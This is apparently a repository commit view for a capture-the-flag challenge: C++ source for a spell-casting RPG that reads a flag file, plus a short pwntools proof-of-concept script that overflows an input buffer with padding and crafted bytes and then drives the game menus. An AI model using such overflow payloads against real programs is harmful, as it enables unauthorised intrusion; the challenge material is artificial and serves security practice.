13
+    std::string flagString;
14
+    std::ifstream flagFile("flag.txt");
15
+    flagFile >> flagString;
16
+    flagFile.close();
17
+    return flagString;
18
+}
19
+
20
+int main()
21
+{
22
+
23
+    std::map<std::string, Element *> Elements;
24
+    std::map<Element *, std::vector<Spell *>> SpellBook;
25
+    std::vector<Character *> PlayerParty;
26
+
27
+    /* initialise elements */
28
+    Elements["Fire"] = new Element("Fire");
29
+    Elements["Water"] = new Element("Water");
30
+    Elements["Wind"] = new Element("Wind");
31
+    Elements["Earth"] = new Element("Earth");
32
+    Elements["Holy"] = new Element("Holy");
33
+    Elements["Dark"] = new Element("Dark");
34
+    Elements["Void"] = new Element("Void");
35
+    Elements["Fire"]->setStrongAgainst(Elements["Earth"]);
36
+    Elements["Fire"]->setWeakAgainst(Elements["Water"]);
37
+    Elements["Water"]->setStrongAgainst(Elements["Fire"]);
38
+    Elements["Water"]->setWeakAgainst(Elements["Wind"]);
39
+    Elements["Wind"]->setStrongAgainst(Elements["Water"]);
40
+    Elements["Wind"]->setWeakAgainst(Elements["Earth"]);
41
+    Elements["Earth"]->setStrongAgainst(Elements["Wind"]);
42
+    Elements["Earth"]->setWeakAgainst(Elements["Fire"]);
43
+    Elements["Holy"]->setStrongAgainst(Elements["Dark"]);
44
+    Elements["Holy"]->setWeakAgainst(Elements["Dark"]);
45
+    Elements["Dark"]->setStrongAgainst(Elements["Holy"]);
46
+    Elements["Dark"]->setWeakAgainst(Elements["Holy"]);
47
+
48
+    /* initialise spell book */
49
+    SpellBook[Elements["Fire"]] = {
50
+        new Spell("Fire Bolt", Elements["Fire"], Spell::DESTRUCTION_TYPE, 10, 5),
51
+        new Spell("Warm Touch", Elements["Fire"], Spell::RESTORATION_TYPE, 10, 10),
52
+        new Spell("Flame Javelin", Elements["Fire"], Spell::DESTRUCTION_TYPE, 25, 15),
53
+        new Spell("Flaming Rocket", Elements["Fire"], Spell::DESTRUCTION_TYPE, 50, 20),
54
+        new Spell("Sun's Strike", Elements["Fire"], Spell::DESTRUCTION_TYPE, 100, 25),
55
+        new Spell("Big Bang", Elements["Fire"], Spell::DESTRUCTION_TYPE, 200, 30)};
56
+    SpellBook[Elements["Water"]] = {
57
+        new Spell("Water Splash", Elements["Water"], Spell::DESTRUCTION_TYPE, 10, 5),
58
+        new Spell("Healing Water", Elements["Water"], Spell::RESTORATION_TYPE, 10, 10),
59
+        new Spell("Jet Stream", Elements["Water"], Spell::DESTRUCTION_TYPE, 25, 15),
60
+        new Spell("Rain of Healing", Elements["Water"], Spell::RESTORATION_TYPE, 25, 20),
61
+        new Spell("Whirlpool", Elements["Water"], Spell::DESTRUCTION_TYPE, 50, 25),
62
+        new Spell("Tsunami", Elements["Water"], Spell::DESTRUCTION_TYPE, 100, 30),
63
+    };
64
+    SpellBook[Elements["Wind"]] = {
65
+        new Spell("Breath of Wind", Elements["Wind"], Spell::DESTRUCTION_TYPE, 10, 5),
66
+        new Spell("Wind of Restoration", Elements["Wind"], Spell::RESTORATION_TYPE, 10, 10),
67
+        new Spell("Air Needle", Elements["Wind"], Spell::DESTRUCTION_TYPE, 25, 15),
68
+        new Spell("Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 50, 20),
69
+        new Spell("Twin Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 100, 25),
70
+        new Spell("Triple Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 200, 30),
71
+    };
72
+    SpellBook[Elements["Earth"]] = {
73
+        new Spell("Rock Throw", Elements["Earth"], Spell::DESTRUCTION_TYPE, 10, 5),
74
+        new Spell("Earth Sheet", Elements["Earth"], Spell::RESTORATION_TYPE, 10, 10),
75
+        new Spell("Earth Split", Elements["Earth"], Spell::DESTRUCTION_TYPE, 25, 15),
76
+        new Spell("Crushed Earth", Elements["Earth"], Spell::DESTRUCTION_TYPE, 50, 20),
77
+        new Spell("Wall of Eden", Elements["Earth"], Spell::RESTORATION_TYPE, 50, 25),
78
+        new Spell("Earthquake", Elements["Earth"], Spell::DESTRUCTION_TYPE, 100, 30),
79
+    };
80
+    SpellBook[Elements["Holy"]] = {
81
+        new Spell("Holy Light", Elements["Holy"], Spell::DESTRUCTION_TYPE, 10, 5),
82
+        new Spell("Healing Light", Elements["Holy"], Spell::RESTORATION_TYPE, 25, 10),
83
+        new Spell("Light of Judgment", Elements["Holy"], Spell::DESTRUCTION_TYPE, 50, 15),
84
+        new Spell("Flame of Purgatory", Elements["Holy"], Spell::DESTRUCTION_TYPE, 100, 20),
85
+        new Spell("God's Protection", Elements["Holy"], Spell::RESTORATION_TYPE, 1000000000, 25),
86
+    };
87
+    SpellBook[Elements["Dark"]] = {
88
+        new Spell("Dark Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 10, 5),
89
+        new Spell("Hell's Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 25, 10),
90
+        new Spell("Hell's Inferno", Elements["Dark"], Spell::DESTRUCTION_TYPE, 50, 15),
91
+        new Spell("Eclipse", Elements["Dark"], Spell::DESTRUCTION_TYPE, 100, 20),
92
+        new Spell("Hell on Earth", Elements["Dark"], Spell::DESTRUCTION_TYPE, 200, 25),
93
+    };
94
+    SpellBook[Elements["Void"]] = {
95
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1, 1),
96
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10, 1),
97
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100, 1),
98
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000, 1),
99
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000, 1),
100
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000, 1),
101
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000, 1),
102
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000000, 1),
103
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000000, 1),
104
+        new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000000, 1),
105
+    };
106
+}

+ 18
- 0
poc.py View File

@@ -0,0 +1,18 @@
1
+from pwn import *
2
+
3
+if __name__ == "__main__":
4
+    p = process("./main")
5
+    print p.recvuntil(">")
6
+    p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
7
+    print p.recvuntil(">")
8
+    p.sendline("y")
9
+    print p.recvuntil(">")
10
+    p.sendline("2")
11
+    print p.recvuntil(">")
12
+    p.sendline("4")
13
+    print p.recvuntil(">")
14
+    p.sendline("y")
15
+    for i in xrange(99):
16
+        print p.recvuntil(">")
17
+        p.sendline("9")
18
+    p.interactive()

BIN
test View File


+ 12
- 0
test.cpp View File

@@ -0,0 +1,12 @@
1
+#include <iostream>
2
+
3
+#include "lib/Game.hpp"
4
+#include "lib/Character.hpp"
5
+
6
+int main(int argc, char const *argv[])
7
+{
8
+    Game::init();
9
+    Character player = Character("Myitinos", &Game::Elements["Fire"]);
10
+    std::cout << Game::SpellBook[player.getAffinity()].at(0).getName() << std::endl;
11
+    return 0;
12
+}

Loading…
Cancel
Save